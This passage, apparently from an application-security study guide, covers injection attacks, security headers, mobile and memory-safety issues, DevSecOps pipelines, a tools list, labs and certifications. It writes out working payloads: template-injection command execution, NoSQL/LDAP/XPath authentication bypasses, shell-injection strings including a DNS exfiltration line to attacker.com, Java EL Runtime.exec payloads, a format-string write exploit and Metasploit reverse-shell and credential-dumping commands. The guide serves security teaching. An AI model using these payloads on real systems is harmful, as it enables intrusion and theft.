{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}

NoSQL Injection

MongoDB:

// Vulnerable code
db.users.find({
  username: req.body.username,
  password: req.body.password
});

// Attack payload
{
  "username": {"$ne": null},
  "password": {"$ne": null}
}
// Returns all users

// Advanced exploitation
{
  "username": "admin",
  "password": {"$regex": "^a"}  // Regex-based password enumeration
}

MongoDB Operators to Test:

$ne - not equal
$gt, $gte - greater than
$lt, $lte - less than
$in - in array
$nin - not in array
$regex - regular expression
$where - JavaScript execution
$expr - aggregation expressions

Secure MongoDB Queries:

// Use strict schema validation
const userSchema = new mongoose.Schema({
  username: { type: String, required: true },
  password: { type: String, required: true }
});

// Sanitize input
const username = req.body.username.toString();
const password = req.body.password.toString();

db.users.findOne({ username, password });

LDAP Injection

# Vulnerable query
(&(uid=username)(password=password))

# Injection payload
username: *)(uid=*))(|(uid=*
password: anything

# Resulting query
(&(uid=*)(uid=*))(|(uid=*)(password=anything))
# Returns all users

# Bypass authentication
username: admin)(&(password=*))%00

XPath Injection

<!-- Vulnerable query -->
//users/user[username='$username' and password='$password']

<!-- Injection payload -->
username: ' or '1'='1
password: ' or '1'='1

<!-- Resulting query -->
//users/user[username='' or '1'='1' and password='' or '1'='1']

Command Injection

# Vulnerable code
import os
filename = request.args.get('file')
os.system(f'cat {filename}')

# Exploitation
file=test.txt; whoami
file=test.txt && whoami
file=test.txt | whoami
file=`whoami`
file=$(whoami)
file=test.txt%0Awhoami  # Newline injection

# Blind command injection with DNS
file=test.txt; nslookup `whoami`.attacker.com

Secure Alternative:

import subprocess
import shlex

filename = request.args.get('file')

# Validate input
if not filename.isalnum():
    return "Invalid filename", 400

# Use subprocess with array (no shell)
result = subprocess.run(
    ['cat', filename],
    capture_output=True,
    text=True,
    timeout=5
)

Expression Language Injection

Java EL:

// Vulnerable
String expression = "${" + userInput + "}";
Object result = context.getELResolver().getValue(context, null, expression);

// Exploitation
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")}

Spring EL:

// Vulnerable
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(context);

// Exploitation
T(java.lang.Runtime).getRuntime().exec('calc.exe')

Resources:


Security Headers & Browser Security

Essential Security Headers

# Prevent clickjacking
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

# Prevent MIME sniffing
X-Content-Type-Options: nosniff

# Enable XSS filter
X-XSS-Protection: 1; mode=block

# HTTPS enforcement
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Referrer policy
Referrer-Policy: strict-origin-when-cross-origin

# Permissions policy
Permissions-Policy: geolocation=(), microphone=(), camera=()

# Cross-Origin policies
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin

Content Security Policy (CSP) - Advanced

Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  block-all-mixed-content;
  require-trusted-types-for 'script';
  trusted-types default;

CSP Reporting:

Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri https://example.com/csp-report;
  report-to csp-endpoint;

Report-To: {
  "group": "csp-endpoint",
  "max_age": 10886400,
  "endpoints": [{
    "url": "https://example.com/csp-report"
  }]
}

CORS Security

// ❌ Insecure CORS
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);
  res.header('Access-Control-Allow-Credentials', 'true');
  next();
});

// ✓ Secure CORS
const allowedOrigins = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
    res.header('Access-Control-Allow-Credentials', 'true');
    res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.header('Access-Control-Max-Age', '86400');
  }
  
  next();
});

Cookie Security

Set-Cookie: sessionid=abc123;
  Secure;                    # HTTPS only
  HttpOnly;                  # No JavaScript access
  SameSite=Strict;          # CSRF protection
  Path=/;
  Domain=.example.com;
  Max-Age=3600;
  Expires=Wed, 21 Oct 2024 07:28:00 GMT;

# For sensitive cookies
Set-Cookie: auth=xyz789;
  Secure;
  HttpOnly;
  SameSite=Lax;
  __Host-Prefix;            # Must be secure, no domain, path=/

Cookie Prefixes:

__Secure- : Must have Secure flag
__Host-   : Must have Secure, no Domain, Path=/

Feature Policy / Permissions Policy

Permissions-Policy:
  geolocation=(self),
  microphone=(),
  camera=(),
  payment=(self "https://trusted-payment.com"),
  usb=(),
  magnetometer=(),
  gyroscope=(),
  speaker=(self),
  vibrate=(),
  fullscreen=(self),
  sync-xhr=()

Resources:


Mobile Application Security

Android Security

Common Vulnerabilities:

1. Insecure Data Storage:

// ❌ Insecure
SharedPreferences prefs = getSharedPreferences("app", MODE_WORLD_READABLE);
prefs.edit().putString("api_key", "secret123").apply();

// ✓ Secure - Use EncryptedSharedPreferences
import androidx.security.crypto.EncryptedSharedPreferences;
import androidx.security.crypto.MasterKey;

MasterKey masterKey = new MasterKey.Builder(context)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
    .build();

SharedPreferences prefs = EncryptedSharedPreferences.create(
    context,
    "secure_prefs",
    masterKey,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);

2. Insecure Communication:

<!-- ❌ Allow cleartext traffic -->
<application android:usesCleartextTraffic="true">

<!-- ✓ Disable cleartext, enable certificate pinning -->
<application android:usesCleartextTraffic="false">
  <network-security-config>
    <domain-config>
      <domain includeSubdomains="true">api.example.com</domain>
      <pin-set>
        <pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
        <pin digest="SHA-256">YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=</pin>
      </pin-set>
    </domain-config>
  </network-security-config>
</application>

3. WebView Security:

// ❌ Insecure WebView
WebView webview = findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.addJavascriptInterface(new WebAppInterface(this), "Android");
webview.loadUrl(untrustedUrl);

// ✓ Secure WebView
WebView webview = findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(false);  // Disable if not needed
webview.getSettings().setAllowFileAccess(false);
webview.getSettings().setAllowContentAccess(false);
webview.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        // Validate URL
        if (url.startsWith("https://trusted.com/")) {
            return false;
        }
        return true;
    }
});

// If JavaScript is needed, use @JavascriptInterface with target API 17+
class WebAppInterface {
    @JavascriptInterface
    public void performAction(String data) {
        // Validate and sanitize data
    }
}

4. Intent Security:

// ❌ Implicit intent with sensitive data
Intent intent = new Intent();
intent.setAction("com.example.ACTION");
intent.putExtra("password", "secret123");
startActivity(intent);

// ✓ Explicit intent
Intent intent = new Intent(this, TargetActivity.class);
intent.putExtra("data", "value");
startActivity(intent);

// ✓ Validate received intents
@Override
protected void onNewIntent(Intent intent) {
    super.onNewIntent(intent);
    
    // Verify calling package
    String callingPackage = getCallingPackage();
    if (!"com.example.trusted".equals(callingPackage)) {
        finish();
        return;
    }
}

5. Root Detection:

public boolean isRooted() {
    // Check for su binary
    String[] paths = {
        "/system/app/Superuser.apk",
        "/sbin/su",
        "/system/bin/su",
        "/system/xbin/su"
    };
    
    for (String path : paths) {
        if (new File(path).exists()) {
            return true;
        }
    }
    
    // Check for test keys
    String buildTags = android.os.Build.TAGS;
    if (buildTags != null && buildTags.contains("test-keys")) {
        return true;
    }
    
    return false;
}

Android Reverse Engineering:

Decompile APK:

# Extract APK
apktool d app.apk -o output/

# Convert DEX to JAR
d2j-dex2jar app.apk -o app.jar

# Decompile JAR
jd-gui app.jar

# Use JADX
jadx app.apk -d output/

ProGuard/R8 Obfuscation:

# proguard-rules.pro
-keepattributes SourceFile,LineNumberTable
-renamesourcefileattribute SourceFile

# Obfuscate package names
-repackageclasses 'com.app.obfuscated'

# Keep specific classes
-keep class com.app.api.** { *; }

# Remove logging
-assumenosideeffects class android.util.Log {
    public static *** d(...);
    public static *** v(...);
}

iOS Security

1. Keychain Storage:

// Store sensitive data
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "apiKey",
    kSecValueData as String: "secret123".data(using: .utf8)!,
    kSecAttrAccessible as String: kSecAttrAccessibleWhenUnlockedThisDeviceOnly
]

SecItemAdd(query as CFDictionary, nil)

// Retrieve data
let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrAccount as String: "apiKey",
    kSecReturnData as String: true
]

var result: AnyObject?
SecItemCopyMatching(query as CFDictionary, &result)

2. Certificate Pinning:

class PinningDelegate: NSObject, URLSessionDelegate {
    func urlSession(
        _ session: URLSession,
        didReceive challenge: URLAuthenticationChallenge,
        completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void
    ) {
        guard let serverTrust = challenge.protectionSpace.serverTrust,
              let certificate = SecTrustGetCertificateAtIndex(serverTrust, 0) else {
            completionHandler(.cancelAuthenticationChallenge, nil)
            return
        }
        
        let serverCertData = SecCertificateCopyData(certificate) as Data
        let serverCertHash = sha256(data: serverCertData)
        
        let pinnedHashes = [
            "7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=",
            "YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg="
        ]
        
        if pinnedHashes.contains(serverCertHash) {
            completionHandler(.useCredential, URLCredential(trust: serverTrust))
        } else {
            completionHandler(.cancelAuthenticationChallenge, nil)
        }
    }
}

3. Jailbreak Detection:

func isJailbroken() -> Bool {
    // Check for suspicious files
    let paths = [
        "/Applications/Cydia.app",
        "/Library/MobileSubstrate/MobileSubstrate.dylib",
        "/bin/bash",
        "/usr/sbin/sshd",
        "/etc/apt"
    ]
    
    for path in paths {
        if FileManager.default.fileExists(atPath: path) {
            return true
        }
    }
    
    // Check if app can modify system files
    do {
        try "test".write(toFile: "/private/jailbreak.txt", atomically: true, encoding: .utf8)
        try FileManager.default.removeItem(atPath: "/private/jailbreak.txt")
        return true
    } catch {
        return false
    }
}

4. App Transport Security:

<!-- Info.plist -->
<key>NSAppTransportSecurity</key>
<dict>
    <key>NSAllowsArbitraryLoads</key>
    <false/>
    <key>NSExceptionDomains</key>
    <dict>
        <key>api.example.com</key>
        <dict>
            <key>NSIncludesSubdomains</key>
            <true/>
            <key>NSTemporaryExceptionMinimumTLSVersion</key>
            <string>TLSv1.2</string>
            <key>NSTemporaryExceptionRequiresForwardSecrecy</key>
            <false/>
        </dict>
    </dict>
</dict>

Mobile OWASP Top 10

  1. M1: Improper Platform Usage - Misuse of platform features
  2. M2: Insecure Data Storage - Sensitive data in logs, backups
  3. M3: Insecure Communication - Poor SSL/TLS, cleartext
  4. M4: Insecure Authentication - Weak auth implementation
  5. M5: Insufficient Cryptography - Weak algorithms, hardcoded keys
  6. M6: Insecure Authorization - Improper access controls
  7. M7: Client Code Quality - Buffer overflows, format strings
  8. M8: Code Tampering - Binary patching, runtime manipulation
  9. M9: Reverse Engineering - Lack of obfuscation
  10. M10: Extraneous Functionality - Hidden backdoors, debug code

Resources:


Memory Safety & Low-Level Security

Buffer Overflow

// Vulnerable code
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking
    printf("%s\n", buffer);
}

// Exploitation
char exploit[100];
memset(exploit, 'A', 80);  // Fill buffer + overflow
memcpy(exploit + 80, &return_address, 4);  // Overwrite return address
vulnerable_function(exploit);

Stack Layout:

High Memory
+-----------------+
| Return Address  | <- Overwrite this
+-----------------+
| Saved EBP       |
+-----------------+
| Local Variables |
| buffer[64]      | <- Buffer starts here
+-----------------+
Low Memory

Modern Protections:

1. Stack Canaries (SSP)
   - Random value before return address
   - Checked before function return

2. ASLR (Address Space Layout Randomization)
   - Randomize memory addresses
   - Makes exploitation harder

3. DEP/NX (Data Execution Prevention)
   - Mark stack as non-executable
   - Prevent shellcode execution

4. PIE (Position Independent Executable)
   - Randomize code location

Format String Vulnerability

// Vulnerable code
void vulnerable(char *user_input) {
    printf(user_input);  // Format string vulnerability
}

// Exploitation
vulnerable("%x %x %x %x");  // Leak stack values
vulnerable("%s");           // Read arbitrary memory
vulnerable("%n");           // Write to memory

Advanced Format String:

// Write arbitrary value to arbitrary address
// %[parameter]$[flags][width][.precision][length]type

// Example: Write 0xdeadbeef to address 0x08049abc
char exploit[] = "\xbc\x9a\x04\x08"    // Address (little-endian)
                 "\xbe\x9a\x04\x08"    // Address + 2
                 "%57005x"              // Padding (0xdead - 8)
                 "%7$hn"                // Write to address
                 "%8126x"               // Padding (0xbeef - 0xdead)
                 "%8$hn";               // Write to address + 2

Use-After-Free

// Vulnerable code
struct User {
    char name[32];
    void (*print)(struct User*);
};

struct User *user = malloc(sizeof(struct User));
strcpy(user->name, "Alice");
user->print = &print_user;

free(user);  // Memory freed

user->print(user);  // Use after free - undefined behavior

Exploitation:

// 1. Free object
free(user);

// 2. Allocate controlled data
struct Malicious *evil = malloc(sizeof(struct User));
evil->function_pointer = &malicious_function;

// 3. Use freed object (now points to malicious data)
user->print(user);  // Calls malicious_function

Return-Oriented Programming (ROP)

Bypass DEP/NX using existing code (gadgets)

Gadget examples:
pop rdi; ret     # Load argument
pop rsi; ret     # Load argument
mov rax, rsi; ret
syscall; ret     # Make system call

ROP Chain:
+------------------+
| Address of gadget 1: pop rdi; ret |
| Argument for rdi                  |
| Address of gadget 2: pop rsi; ret |
| Argument for rsi                  |
| Address of gadget 3: syscall; ret |
+------------------+

Find ROP Gadgets:

# Using ROPgadget
ROPgadget --binary ./vulnerable --ropchain

# Using ropper
ropper --file ./vulnerable --search "pop rdi"

# Using pwntools
from pwn import *
elf = ELF('./vulnerable')
rop = ROP(elf)
rop.call('system', ['/bin/sh'])

Integer Overflow

// Vulnerable code
void allocate_buffer(unsigned int size) {
    if (size > 1024) {
        printf("Size too large\n");
        return;
    }
    
    unsigned int total = size + 64;  // Integer overflow
    char *buffer = malloc(total);
    // ...
}

// Exploitation
allocate_buffer(0xffffffc0);  // 4294967232
// 0xffffffc0 + 64 = 0x00000000 (overflow)
// Passes size check but allocates 0 bytes

Secure Code:

void allocate_buffer(unsigned int size) {
    if (size > 1024) {
        return;
    }
    
    // Check for overflow
    if (size > UINT_MAX - 64) {
        return;
    }
    
    unsigned int total = size + 64;
    char *buffer = malloc(total);
}

Resources:


DevSecOps & CI/CD Security

Agile SDLC - Rapid development, Rapid deployment

DevOps

CI/CD

  • Continuous Integration - Team members integrate their work in a shared repository. Git commits. Basic testing.
  • Continuous Delivery - Deploying on a pre-production or staging environment and performing automated tests to ensure the build is ready for production/release.
  • Continuous Deployment (not common) - Automatically deploy the build to production.
  • What is CI/CD Pipeline? by School of Basics (See image in timestamp 8:40)

Shift Left - Fail soon to fix soon.

SAST, DAST, SCA

SAST - Static Application Security Testing

  • Analyze the source code (written by the dev team) of the product for vulnerabilities.
  • Manual or automated white box testing.
  • Automated tests may have false positives. Time consuming
  • Happens earlier in the SDLC.

DAST - Dynamic Application Security Testing

  • Analyze a running build of the product for vulnerabilities.
  • Manual or automated black box testing.
  • Automated tests may have false positives. Time consuming
  • Happens later in the SDLC.

SCA - Software Composition Analysis

  • Analyze the security of the dependencies used in a software project.
  • Checks for known/disclosed vulnerabilities in these dependencies.
  • More accurate. SCA scans run faster.
  • Ideally should happen earlier in the SDLC.

Secure CI/CD Pipeline

# .github/workflows/security.yml
name: Security Pipeline

on: [push, pull_request]

jobs:
  secrets-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          fetch-depth: 0
      
      - name: TruffleHog Secrets Scan
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: main
          head: HEAD
      
      - name: Gitleaks Scan
        uses: gitleaks/gitleaks-action@v2

  sast:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Semgrep Scan
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/security-audit
            p/owasp-top-ten
      
      - name: CodeQL Analysis
        uses: github/codeql-action/init@v2
        with:
          languages: javascript, python
      
      - name: SonarCloud Scan
        uses: SonarSource/sonarcloud-github-action@master
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}

  dependency-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Snyk Scan
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
      
      - name: OWASP Dependency-Check
        uses: dependency-check/Dependency-Check_Action@main
        with:
          project: 'app'
          path: '.'
          format: 'HTML'
      
      - name: Trivy Vulnerability Scanner
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          scan-ref: '.'

  container-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Build Docker Image
        run: docker build -t myapp:${{ github.sha }} .
      
      - name: Trivy Container Scan
        uses: aquasecurity/trivy-action@master
        with:
          image-ref: myapp:${{ github.sha }}
          format: 'sarif'
          output: 'trivy-results.sarif'
      
      - name: Anchore Container Scan
        uses: anchore/scan-action@v3
        with:
          image: myapp:${{ github.sha }}
          fail-build: true
          severity-cutoff: high

  dast:
    runs-on: ubuntu-latest
    needs: [sast, dependency-scan]
    steps:
      - name: OWASP ZAP Scan
        uses: zaproxy/[email protected]
        with:
          target: 'https://staging.example.com'
          rules_file_name: '.zap/rules.tsv'
          cmd_options: '-a'

  iac-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Checkov IaC Scan
        uses: bridgecrewio/checkov-action@master
        with:
          directory: terraform/
          framework: terraform
      
      - name: tfsec Scan
        uses: aquasecurity/[email protected]
        with:
          working_directory: terraform/

  security-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Run Security Tests
        run: |
          npm install
          npm run test:security
      
      - name: Upload Results
        uses: github/codeql-action/upload-sarif@v2
        with:
          sarif_file: security-results.sarif

Secrets Management

1. Never Commit Secrets:

# .gitignore
.env
.env.*
*.key
*.pem
secrets.yml
config/credentials/*.yml.enc

# Pre-commit hook
#!/bin/bash
# .git/hooks/pre-commit

if git diff --cached --name-only | grep -E '\.(env|key|pem); then
    echo "Error: Attempting to commit sensitive files!"
    exit 1
fi

# Scan for secrets
gitleaks protect --staged --verbose

2. Environment Variables:

# ❌ Hardcoded secrets
ENV API_KEY=secret123

# ✓ Use build args (but still not ideal)
ARG API_KEY
ENV API_KEY=$API_KEY

# ✓✓ Use secrets management
# Docker Swarm
docker secret create api_key ./api_key.txt

# Kubernetes
kubectl create secret generic api-secret \
  --from-literal=api-key=secret123

3. HashiCorp Vault:

import hvac

# Initialize client
client = hvac.Client(url='https://vault.example.com:8200')
client.token = 'vault-token'

# Read secret
secret = client.secrets.kv.v2.read_secret_version(
    path='app/config',
    mount_point='secret'
)

api_key = secret['data']['data']['api_key']

4. AWS Secrets Manager:

import boto3
import json

client = boto3.client('secretsmanager', region_name='us-east-1')

response = client.get_secret_value(SecretId='prod/api/key')
secret = json.loads(response['SecretString'])
api_key = secret['api_key']

Infrastructure as Code (IaC) Security

Terraform Security:

# ❌ Insecure S3 bucket
resource "aws_s3_bucket" "data" {
  bucket = "my-data-bucket"
  acl    = "public-read"  # Bad!
}

# ✓ Secure S3 bucket
resource "aws_s3_bucket" "data" {
  bucket = "my-data-bucket"
}

resource "aws_s3_bucket_public_access_block" "data" {
  bucket = aws_s3_bucket.data.id

  block_public_acls       = true
  block_public_policy     = true
  ignore_public_acls      = true
  restrict_public_buckets = true
}

resource "aws_s3_bucket_server_side_encryption_configuration" "data" {
  bucket = aws_s3_bucket.data.id

  rule {
    apply_server_side_encryption_by_default {
      sse_algorithm = "AES256"
    }
  }
}

resource "aws_s3_bucket_versioning" "data" {
  bucket = aws_s3_bucket.data.id
  
  versioning_configuration {
    status = "Enabled"
  }
}

Scan IaC:

# tfsec
tfsec .

# Checkov
checkov -d . --framework terraform

# Terrascan
terrascan scan -t terraform

# OPA (Open Policy Agent)
opa test policy/ -v

Security Testing Automation

1. Unit Security Tests:

// security.test.js
const request = require('supertest');
const app = require('./app');

describe('Security Tests', () => {
  test('should reject XSS in input', async () => {
    const response = await request(app)
      .post('/api/comment')
      .send({ text: '<script>alert(1)</script>' });
    
    expect(response.status).toBe(400);
  });
  
  test('should have security headers', async () => {
    const response = await request(app).get('/');
    
    expect(response.headers['x-frame-options']).toBe('DENY');
    expect(response.headers['x-content-type-options']).toBe('nosniff');
    expect(response.headers['strict-transport-security']).toBeDefined();
  });
  
  test('should prevent SQL injection', async () => {
    const response = await request(app)
      .get('/api/user/1\' OR \'1\'=\'1');
    
    expect(response.status).toBe(400);
  });
});

2. Integration Security Tests:

# test_security.py
import pytest
import requests

class TestSecurityIntegration:
    BASE_URL = "https://staging.example.com"
    
    def test_csrf_protection(self):
        # Request without CSRF token should fail
        response = requests.post(
            f"{self.BASE_URL}/api/transfer",
            json={"amount": 100}
        )
        assert response.status_code == 403
    
    def test_rate_limiting(self):
        # Rapid requests should be rate limited
        for _ in range(150):
            response = requests.get(f"{self.BASE_URL}/api/data")
        
        assert response.status_code == 429
    
    def test_authentication_required(self):
        # Protected endpoint without auth
        response = requests.get(f"{self.BASE_URL}/api/admin")
        assert response.status_code in [401, 403]

Resources:


Tools Arsenal

Reconnaissance & Information Gathering

# Subdomain enumeration
subfinder -d example.com -o subdomains.txt
amass enum -d example.com
assetfinder example.com

# DNS enumeration
dnsenum example.com
dnsrecon -d example.com

# Port scanning
nmap -sV -sC -oA scan example.com
masscan -p1-65535 example.com --rate=10000

# Web technology detection
whatweb example.com
wappalyzer example.com

# Directory brute forcing
ffuf -u https://example.com/FUZZ -w wordlist.txt
gobuster dir -u https://example.com -w wordlist.txt
dirsearch -u https://example.com

Web Application Testing

# Burp Suite - Primary web testing tool
# Extensions to install:
- Autorize (authorization testing)
- Turbo Intruder (fast attacks)
- JSON Web Tokens
- Param Miner
- Upload Scanner
- Retire.js

# OWASP ZAP
zap-cli quick-scan https://example.com
zap-cli active-scan https://example.com

# Nikto
nikto -h https://example.com

# SQLMap
sqlmap -u "https://example.com/page?id=1" --batch --dbs
sqlmap -u "https://example.com/page?id=1" --forms --batch

# XSStrike
xsstrike -u "https://example.com/search?q="

# Nuclei (vulnerability scanner)
nuclei -u https://example.com -t cves/
nuclei -l urls.txt -t exposures/

# Wfuzz (web fuzzer)
wfuzz -c -z file,wordlist.txt https://example.com/FUZZ

API Testing

# Postman - API development and testing

# Insomnia - REST/GraphQL API client

# HTTPie
http GET https://api.example.com/users Authorization:"Bearer token"

# cURL advanced usage
curl -X POST https://api.example.com/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}' \
  -v

# GraphQL testing
graphql-voyager - Visualize GraphQL schema
graphql-playground - GraphQL IDE

# API fuzzing
ffuf -u https://api.example.com/FUZZ -w api-wordlist.txt

Code Analysis

# SAST Tools
semgrep --config=auto .
bandit -r ./python-app/
brakeman -q ./rails-app/
eslint --plugin security ./js-app/

# Dependency scanning
npm audit
npm audit fix
snyk test
retire --path ./app

# Secret detection
trufflehog filesystem ./
gitleaks detect --source . -v
detect-secrets scan

# Code quality
sonar-scanner

Network Analysis

# Wireshark - GUI packet analyzer

# tcpdump
tcpdump -i eth0 -w capture.pcap
tcpdump -r capture.pcap 'tcp port 80'

# tshark (Wireshark CLI)
tshark -i eth0 -f "tcp port 443"

# mitmproxy - Interactive HTTPS proxy
mitmproxy
mitmdump -w traffic.dump

# Netcat
nc -lvp 4444  # Listen
nc target 4444  # Connect

Exploitation & Post-Exploitation

# Metasploit
msfconsole
search exploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

# Empire/Starkiller - Post-exploitation framework

# Cobalt Strike - Commercial adversary simulation

# Impacket - Python network protocols
psexec.py domain/user:password@target
secretsdump.py domain/user:password@target

Mobile Security Tools

# Android
adb devices
adb shell
adb pull /data/data/com.app/databases/app.db
jadx app.apk
apktool d app.apk

# iOS
ideviceinstaller -l
class-dump App.app
Hopper Disassembler

# Dynamic analysis
frida -U -f com.app.name -l script.js
objection -g com.app.name explore

# MobSF
python3 manage.py runserver
# Upload APK/IPA through web interface

Container & Cloud Security

# Docker security
docker scan myimage:latest
trivy image myimage:latest
dive myimage:latest  # Analyze image layers

# Kubernetes security
kube-bench  # CIS Kubernetes benchmark
kube-hunter  # Security weaknesses
kubesec scan pod.yaml

# Cloud security
ScoutSuite  # Multi-cloud auditing
Prowler  # AWS security assessment
cloudsploit  # Cloud security monitoring

# AWS CLI
aws s3 ls --recursive
aws iam get-user
aws ec2 describe-instances

Automation & Scripting

# pwntools - CTF framework
from pwn import *

conn = remote('target.com', 1337)
payload = cyclic(100)
conn.sendline(payload)
conn.interactive()

# Requests - HTTP library
import requests

session = requests.Session()
response = session.post(
    'https://example.com/login',
    json={'username': 'admin', 'password': 'test'}
)

# Paramiko - SSH library
import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('target.com', username='user', password='pass')
stdin, stdout, stderr = ssh.exec_command('ls -la')

Practice Labs & Platforms

Vulnerable Applications

  1. OWASP Juice Shop

  2. DVWA (Damn Vulnerable Web Application)

    • Classic vulnerable PHP application
    • Different difficulty levels (Low, Medium, High, Impossible)
    • Covers common vulnerabilities
    • Link: https://github.com/digininja/DVWA
  3. WebGoat

  4. Mutillidae II

  5. bWAPP

  6. Damn Vulnerable GraphQL Application

  7. OWASP NodeGoat

  8. RailsGoat

Online Training Platforms

1. PortSwigger Web Security Academy

  • FREE comprehensive web security training
  • 200+ labs covering all major vulnerabilities
  • Certificate upon completion
  • Highly recommended for beginners
  • Link: https://portswigger.net/web-security

2. HackTheBox

  • Real-world pentesting labs
  • Active machines and retired machines
  • CTF-style challenges
  • Community-driven
  • Link: https://www.hackthebox.com/

3. TryHackMe

  • Guided learning paths
  • Beginner-friendly
  • Rooms for specific topics
  • Progress tracking
  • Link: https://tryhackme.com/

4. PentesterLab

5. Hack This Site

6. OverTheWire

7. Root Me

8. VulnHub

9. OWASP WebGoat

10. CTFtime

Cloud Security Labs

  1. flAWS

  2. flAWS2

  3. CloudGoat

  4. Kubernetes Goat

Bug Bounty Platforms

1. HackerOne

2. Bugcrowd

3. Synack

4. Intigriti

5. YesWeHack


Books & Resources

Essential Books

1. The Web Application Hacker's Handbook (2nd Edition)

  • Authors: Dafydd Stuttard, Marcus Pinto
  • Comprehensive guide to web app security
  • Covers methodology and techniques
  • Must-read for application security

2. Real-World Bug Hunting

  • Author: Peter Yaworski
  • Bug bounty focused
  • Real examples and case studies
  • Practical approach

3. The Tangled Web

  • Author: Michal Zalewski
  • Deep dive into browser security
  • Understanding web mechanics
  • Advanced concepts

4. Hacking APIs

  • Author: Corey J. Ball
  • Modern API security
  • RESTful and GraphQL APIs
  • Practical techniques

5. Alice and Bob Learn Application Security

  • Author: Tanya Janca
  • Beginner-friendly
  • Covers SDLC security
  • DevSecOps focus

6. The Hacker Playbook 3

  • Author: Peter Kim
  • Practical penetration testing
  • Red team operations
  • Tools and techniques

7. OWASP Testing Guide v4

8. Secure by Design

  • Authors: Dan Bergh Johnsson, Daniel Deogun, Daniel Sawano
  • Domain-driven security
  • Secure architecture
  • Development focused

9. Web Security for Developers

  • Author: Malcolm McDonald
  • Practical security guide
  • Real-world examples
  • Implementation focus

10. Black Hat Python

  • Author: Justin Seitz
  • Python for security professionals
  • Tool development
  • Automation techniques

YouTube Channels

1. IppSec

2. LiveOverflow

3. STÖK

4. John Hammond

5. NahamSec

6. PwnFunction

7. The Cyber Mentor

8. Computerphile

Podcasts

1. Darknet Diaries

2. The Bug Bounty Podcast

  • Bug bounty interviews
  • Tips and techniques
  • Industry insights

3. Application Security Podcast

  • AppSec news and trends
  • Expert interviews
  • Weekly episodes

4. Security Now

  • Steve Gibson's security show
  • Technical deep dives
  • Long-running podcast

5. Risky Business

  • Security news
  • Industry analysis
  • Expert commentary

6. Defensive Security Podcast

  • Defensive strategies
  • Threat intelligence
  • Blue team focus

Blogs & Websites

1. PortSwigger Research

2. OWASP

3. HackerOne Hacktivity

4. Pentester Land

5. InfoSec Write-ups

6. Troy Hunt's Blog

7. Krebs on Security

8. Schneier on Security

GitHub Resources

1. Awesome Hacking

2. PayloadsAllTheThings

3. HackTricks

4. SecLists

5. OWASP Cheat Sheet Series

6. Vulnerable Applications


Certifications Roadmap

Entry Level (0-2 years experience)

1. CompTIA Security+

  • Duration: 2-3 months preparation
  • Cost: ~$370
  • Coverage: Security fundamentals
  • Good for: Understanding security basics
  • Recommended: Yes, for complete beginners

2. CEH (Certified Ethical Hacker)

  • Duration: 3-4 months preparation
  • Cost: ~$1,199 (exam) + training
  • Coverage: Pentesting basics, tools
  • Good for: Entry-level pentesters
  • Note: Criticized as too theoretical

3. eJPT (eLearnSecurity Junior Penetration Tester)

  • Duration: 2-3 months
  • Cost: ~$200
  • Coverage: Practical pentesting
  • Good for: Hands-on learners
  • Recommended: Yes, very practical

4. GIAC Security Essentials (GSEC)

